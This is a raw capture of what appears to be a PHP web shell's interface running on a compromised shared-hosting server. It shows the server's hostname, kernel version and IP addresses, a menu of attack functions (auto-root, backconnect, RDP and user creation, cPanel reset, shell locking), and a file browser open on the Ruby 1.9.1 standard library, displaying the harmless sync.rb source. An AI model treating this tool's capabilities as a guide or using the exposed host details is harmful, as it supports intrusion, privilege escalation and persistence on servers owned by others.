Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.36
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby19 /
lib64 /
ruby /
1.9.1 /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
date
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
dl
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rake
[ DIR ]
drwxr-xr-x
rbconfig
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
syck
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
x86_64-linux
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.59
KB
-rw-r--r--
abbrev.rb
2.57
KB
-rw-r--r--
base64.rb
2.63
KB
-rw-r--r--
benchmark.rb
18
KB
-rw-r--r--
cgi.rb
9.3
KB
-rw-r--r--
cmath.rb
7.22
KB
-rw-r--r--
complex.rb
380
B
-rw-r--r--
csv.rb
82.66
KB
-rw-r--r--
date.rb
946
B
-rw-r--r--
debug.rb
23.23
KB
-rw-r--r--
delegate.rb
9.74
KB
-rw-r--r--
digest.rb
2.24
KB
-rw-r--r--
dl.rb
176
B
-rw-r--r--
drb.rb
19
B
-rw-r--r--
e2mmap.rb
3.8
KB
-rw-r--r--
erb.rb
25.72
KB
-rw-r--r--
expect.rb
1.33
KB
-rw-r--r--
fiddle.rb
928
B
-rw-r--r--
fileutils.rb
45.32
KB
-rw-r--r--
find.rb
2.03
KB
-rw-r--r--
forwardable.rb
7.64
KB
-rw-r--r--
getoptlong.rb
15.38
KB
-rw-r--r--
gserver.rb
8.83
KB
-rw-r--r--
ipaddr.rb
24.92
KB
-rw-r--r--
irb.rb
8.34
KB
-rw-r--r--
json.rb
1.74
KB
-rw-r--r--
kconv.rb
5.74
KB
-rw-r--r--
logger.rb
20.85
KB
-rw-r--r--
mathn.rb
6.52
KB
-rw-r--r--
matrix.rb
47.65
KB
-rw-r--r--
mkmf.rb
68.9
KB
-rw-r--r--
monitor.rb
6.94
KB
-rw-r--r--
mutex_m.rb
1.61
KB
-rw-r--r--
observer.rb
5.69
KB
-rw-r--r--
open-uri.rb
25.84
KB
-rw-r--r--
open3.rb
20.64
KB
-rw-r--r--
openssl.rb
547
B
-rw-r--r--
optparse.rb
51.13
KB
-rw-r--r--
ostruct.rb
6.49
KB
-rw-r--r--
pathname.rb
14.21
KB
-rw-r--r--
pp.rb
13.31
KB
-rw-r--r--
prettyprint.rb
9.63
KB
-rw-r--r--
prime.rb
13.98
KB
-rw-r--r--
profile.rb
205
B
-rw-r--r--
profiler.rb
1.59
KB
-rw-r--r--
pstore.rb
15.81
KB
-rw-r--r--
psych.rb
9.82
KB
-rw-r--r--
rake.rb
2.02
KB
-rw-r--r--
rational.rb
308
B
-rw-r--r--
rdoc.rb
4.29
KB
-rw-r--r--
resolv-replace.rb
1.74
KB
-rw-r--r--
resolv.rb
59.91
KB
-rw-r--r--
ripper.rb
91
B
-rw-r--r--
rss.rb
2.84
KB
-rw-r--r--
rubygems.rb
34.13
KB
-rw-r--r--
scanf.rb
23.53
KB
-rw-r--r--
securerandom.rb
8.46
KB
-rw-r--r--
set.rb
29.91
KB
-rw-r--r--
shell.rb
5.9
KB
-rw-r--r--
shellwords.rb
3.88
KB
-rw-r--r--
singleton.rb
4.02
KB
-rw-r--r--
socket.rb
23.22
KB
-rw-r--r--
syck.rb
13.91
KB
-rw-r--r--
sync.rb
6.87
KB
-rw-r--r--
tempfile.rb
10.42
KB
-rw-r--r--
thread.rb
6.59
KB
-rw-r--r--
thwait.rb
3.38
KB
-rw-r--r--
time.rb
17.03
KB
-rw-r--r--
timeout.rb
3.26
KB
-rw-r--r--
tmpdir.rb
3.72
KB
-rw-r--r--
tracer.rb
6.63
KB
-rw-r--r--
tsort.rb
6.79
KB
-rw-r--r--
ubygems.rb
268
B
-rw-r--r--
un.rb
8.32
KB
-rw-r--r--
uri.rb
3.07
KB
-rw-r--r--
weakref.rb
2.29
KB
-rw-r--r--
webrick.rb
6.8
KB
-rw-r--r--
yaml.rb
2.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sync.rb
# # sync.rb - 2 phase lock with counter # $Release Version: 1.0$ # $Revision: 32281 $ # by Keiju ISHITSUKA(keiju@ishitsuka.com) # # -- # Sync_m, Synchronizer_m # Usage: # obj.extend(Sync_m) # or # class Foo # include Sync_m # : # end # # Sync_m#sync_mode # Sync_m#sync_locked?, locked? # Sync_m#sync_shared?, shared? # Sync_m#sync_exclusive?, sync_exclusive? # Sync_m#sync_try_lock, try_lock # Sync_m#sync_lock, lock # Sync_m#sync_unlock, unlock # # Sync, Synchronizer: # Usage: # sync = Sync.new # # Sync#mode # Sync#locked? # Sync#shared? # Sync#exclusive? # Sync#try_lock(mode) -- mode = :EX, :SH, :UN # Sync#lock(mode) -- mode = :EX, :SH, :UN # Sync#unlock # Sync#synchronize(mode) {...} # # unless defined? Thread raise "Thread not available for this ruby interpreter" end ## # A module that provides a two-phase lock with a counter. module Sync_m RCS_ID='-$Id: sync.rb 32281 2011-06-29 03:09:34Z drbrain $-' # lock mode UN = :UN SH = :SH EX = :EX # exceptions class Err < StandardError def Err.Fail(*opt) fail self, sprintf(self::Message, *opt) end class UnknownLocker < Err Message = "Thread(%s) not locked." def UnknownLocker.Fail(th) super(th.inspect) end end class LockModeFailer < Err Message = "Unknown lock mode(%s)" def LockModeFailer.Fail(mode) if mode.id2name mode = id2name end super(mode) end end end def Sync_m.define_aliases(cl) cl.module_eval %q{ alias locked? sync_locked? alias shared? sync_shared? alias exclusive? sync_exclusive? alias lock sync_lock alias unlock sync_unlock alias try_lock sync_try_lock alias synchronize sync_synchronize } end def Sync_m.append_features(cl) super # do nothing for Modules # make aliases for Classes. define_aliases(cl) unless cl.instance_of?(Module) self end def Sync_m.extend_object(obj) super obj.sync_extend end def sync_extend unless (defined? locked? and defined? shared? and defined? exclusive? and defined? lock and defined? unlock and defined? try_lock and defined? synchronize) Sync_m.define_aliases(singleton_class) end sync_initialize end # accessing def sync_locked? sync_mode != UN end def sync_shared? sync_mode == SH end def sync_exclusive? sync_mode == EX end # locking methods. def sync_try_lock(mode = EX) return unlock if mode == UN @sync_mutex.synchronize do sync_try_lock_sub(mode) end end def sync_lock(m = EX) return unlock if m == UN while true @sync_mutex.synchronize do if sync_try_lock_sub(m) return self else if sync_sh_locker[Thread.current] sync_upgrade_waiting.push [Thread.current, sync_sh_locker[Thread.current]] sync_sh_locker.delete(Thread.current) else sync_waiting.push Thread.current end @sync_mutex.sleep end end end self end def sync_unlock(m = EX) wakeup_threads = [] @sync_mutex.synchronize do if sync_mode == UN Err::UnknownLocker.Fail(Thread.current) end m = sync_mode if m == EX and sync_mode == SH runnable = false case m when UN Err::UnknownLocker.Fail(Thread.current) when EX if sync_ex_locker == Thread.current if (self.sync_ex_count = sync_ex_count - 1) == 0 self.sync_ex_locker = nil if sync_sh_locker.include?(Thread.current) self.sync_mode = SH else self.sync_mode = UN end runnable = true end else Err::UnknownLocker.Fail(Thread.current) end when SH if (count = sync_sh_locker[Thread.current]).nil? Err::UnknownLocker.Fail(Thread.current) else if (sync_sh_locker[Thread.current] = count - 1) == 0 sync_sh_locker.delete(Thread.current) if sync_sh_locker.empty? and sync_ex_count == 0 self.sync_mode = UN runnable = true end end end end if runnable if sync_upgrade_waiting.size > 0 th, count = sync_upgrade_waiting.shift sync_sh_locker[th] = count th.wakeup wakeup_threads.push th else wait = sync_waiting self.sync_waiting = [] for th in wait th.wakeup wakeup_threads.push th end end end end for th in wakeup_threads th.run end self end def sync_synchronize(mode = EX) sync_lock(mode) begin yield ensure sync_unlock end end attr_accessor :sync_mode attr_accessor :sync_waiting attr_accessor :sync_upgrade_waiting attr_accessor :sync_sh_locker attr_accessor :sync_ex_locker attr_accessor :sync_ex_count def sync_inspect sync_iv = instance_variables.select{|iv| /^@sync_/ =~ iv.id2name}.collect{|iv| iv.id2name + '=' + instance_eval(iv.id2name).inspect}.join(",") print "<#{self.class}.extend Sync_m: #{inspect}, <Sync_m: #{sync_iv}>" end private def sync_initialize @sync_mode = UN @sync_waiting = [] @sync_upgrade_waiting = [] @sync_sh_locker = Hash.new @sync_ex_locker = nil @sync_ex_count = 0 @sync_mutex = Mutex.new end def initialize(*args) super sync_initialize end def sync_try_lock_sub(m) case m when SH case sync_mode when UN self.sync_mode = m sync_sh_locker[Thread.current] = 1 ret = true when SH count = 0 unless count = sync_sh_locker[Thread.current] sync_sh_locker[Thread.current] = count + 1 ret = true when EX # in EX mode, lock will upgrade to EX lock if sync_ex_locker == Thread.current self.sync_ex_count = sync_ex_count + 1 ret = true else ret = false end end when EX if sync_mode == UN or sync_mode == SH && sync_sh_locker.size == 1 && sync_sh_locker.include?(Thread.current) self.sync_mode = m self.sync_ex_locker = Thread.current self.sync_ex_count = 1 ret = true elsif sync_mode == EX && sync_ex_locker == Thread.current self.sync_ex_count = sync_ex_count + 1 ret = true else ret = false end else Err::LockModeFailer.Fail mode end return ret end end ## # An alias for Sync_m from sync.rb Synchronizer_m = Sync_m ## # A class that providesa two-phase lock with a counter. See Sync_m for # details. class Sync include Sync_m end ## # An alias for Sync from sync.rb. See Sync_m for details. Synchronizer = Sync
Close